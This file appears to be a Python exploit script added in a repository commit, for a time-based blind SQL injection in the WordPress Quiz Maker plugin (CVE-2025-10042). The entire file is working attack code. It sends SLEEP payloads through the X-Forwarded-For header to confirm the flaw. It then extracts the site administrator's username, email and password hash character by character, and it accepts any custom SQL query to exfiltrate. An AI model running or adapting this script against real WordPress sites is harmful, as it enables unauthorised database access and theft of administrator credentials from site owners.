1+ # Exploit Title: WordPress Quiz Maker 6.7.0.56 - SQL Injection
2+ # Date: 2025-12-16
3+ # Exploit Author: Rahul Sreenivasan (Tr0j4n)
4+ # Vendor Homepage: https://ays-pro.com/wordpress/quiz-maker
5+ # Software Link: https://wordpress.org/plugins/quiz-maker/
6+ # Version: <= 6.7.0.56
7+ # Tested on: WordPress 6.x with Quiz Maker 6.7.0.56 on Ubuntu/Nginx/PHP-FPM
8+ # CVE: CVE-2025-10042
9+
10+ from argparse import ArgumentParser
11+ from requests import get
12+ from requests .packages .urllib3 import disable_warnings
13+ from requests .packages .urllib3 .exceptions import InsecureRequestWarning
14+ from time import time
15+ from sys import exit
16+
17+ disable_warnings (InsecureRequestWarning )
18+
19+ CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-@.!$/:?"
20+
21+ def send_payload (url , path , header , payload , timeout ):
22+ target = f"{ url .rstrip ('/' )} /{ path .lstrip ('/' )} "
23+ headers = {
24+ "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" ,
25+ header : payload
26+ }
27+ try :
28+ start = time ()
29+ get (target , headers = headers , timeout = timeout , verify = False )
30+ return time () - start
31+ except :
32+ return timeout
33+
34+ def check_vulnerable (url , path , header , sleep_time , timeout ):
35+ print ("[*] Testing for SQL injection vulnerability..." )
36+
37+ baseline = send_payload (url , path , header , "127.0.0.1" , timeout )
38+ print (f"[*] Baseline response time: { baseline :.2f} s" )
39+
40+ payload = f"1' OR SLEEP({ sleep_time } )#"
41+ injection = send_payload (url , path , header , payload , timeout )
42+ print (f"[*] Injection response time: { injection :.2f} s" )
43+
44+ if injection >= sleep_time * 0.7 :
45+ print ("[+] Target is VULNERABLE!" )
46+ return True
47+ else :
48+ print ("[-] Target does not appear to be vulnerable." )
49+ return False
50+
51+ def extract_length (url , path , header , query , timeout ):
52+ low , high = 1 , 100
53+
54+ while low < high :
55+ mid = (low + high ) // 2
56+ payload = f"1' OR IF(LENGTH(({ query } ))>{ mid } ,SLEEP(1),0)#"
57+ elapsed = send_payload (url , path , header , payload , timeout )
58+
59+ if elapsed >= 0.8 :
60+ low = mid + 1
61+ else :
62+ high = mid
63+
64+ return low
65+
66+ def extract_char (url , path , header , query , position , timeout ):
67+ low , high = 32 , 126
68+
69+ while low < high :
70+ mid = (low + high ) // 2
71+ payload = f"1' OR IF(ASCII(SUBSTRING(({ query } ),{ position } ,1))>{ mid } ,SLEEP(1),0)#"
72+ elapsed = send_payload (url , path , header , payload , timeout )
73+
74+ if elapsed >= 0.8 :
75+ low = mid + 1
76+ else :
77+ high = mid
78+
79+ return chr (low ) if low <= 126 else "?"
80+
81+ def extract_data (url , path , header , query , timeout ):
82+ length = extract_length (url , path , header , query , timeout )
83+ print (f"[*] Data length: { length } " )
84+
85+ result = ""
86+ for i in range (1 , length + 1 ):
87+ char = extract_char (url , path , header , query , i , timeout )
88+ result += char
89+ print (f"\r [*] Extracting: { result } " , end = "" , flush = True )
90+
91+ print ()
92+ return result
93+
94+ def dump_users (url , path , header , timeout ):
95+ print ("\n [*] Extracting WordPress admin users..." )
96+
97+ # Get admin user login
98+ query = "SELECT user_login FROM wp_users WHERE ID=1"
99+ username = extract_data (url , path , header , query , timeout )
100+ print (f"[+] Username: { username } " )
101+
102+ # Get admin email
103+ query = "SELECT user_email FROM wp_users WHERE ID=1"
104+ email = extract_data (url , path , header , query , timeout )
105+ print (f"[+] Email: { email } " )
106+
107+ # Get password hash
108+ query = "SELECT user_pass FROM wp_users WHERE ID=1"
109+ password = extract_data (url , path , header , query , timeout )
110+ print (f"[+] Password Hash: { password } " )
111+
112+ return username , email , password
113+
114+ def main ():
115+ parser = ArgumentParser (description = "WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)" )
116+ parser .add_argument ("-u" , "--url" , required = True , help = "Target WordPress URL" )
117+ parser .add_argument ("-p" , "--path" , required = True , help = "Path to quiz page" )
118+ parser .add_argument ("-H" , "--header" , default = "X-Forwarded-For" , help = "Header for injection" )
119+ parser .add_argument ("-t" , "--timeout" , type = int , default = 10 , help = "Request timeout" )
120+ parser .add_argument ("--check" , action = "store_true" , help = "Only check vulnerability" )
121+ parser .add_argument ("--dump" , action = "store_true" , help = "Dump admin credentials" )
122+ parser .add_argument ("--query" , help = "Custom SQL query to extract" )
123+ args = parser .parse_args ()
124+
125+ print ("[+] WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)" )
126+ print (f"[+] Target: { args .url } " )
127+
128+ if not check_vulnerable (args .url , args .path , args .header , 3 , args .timeout ):
129+ exit (1 )
130+
131+ if args .check :
132+ exit (0 )
133+
134+ if args .dump :
135+ dump_users (args .url , args .path , args .header , args .timeout )
136+ elif args .query :
137+ print (f"\n [*] Executing custom query: { args .query } " )
138+ result = extract_data (args .url , args .path , args .header , args .query , args .timeout )
139+ print (f"[+] Result: { result } " )
140+ else :
141+ dump_users (args .url , args .path , args .header , args .timeout )
142+
143+ if __name__ == "__main__" :
144+ main ()
0 commit comments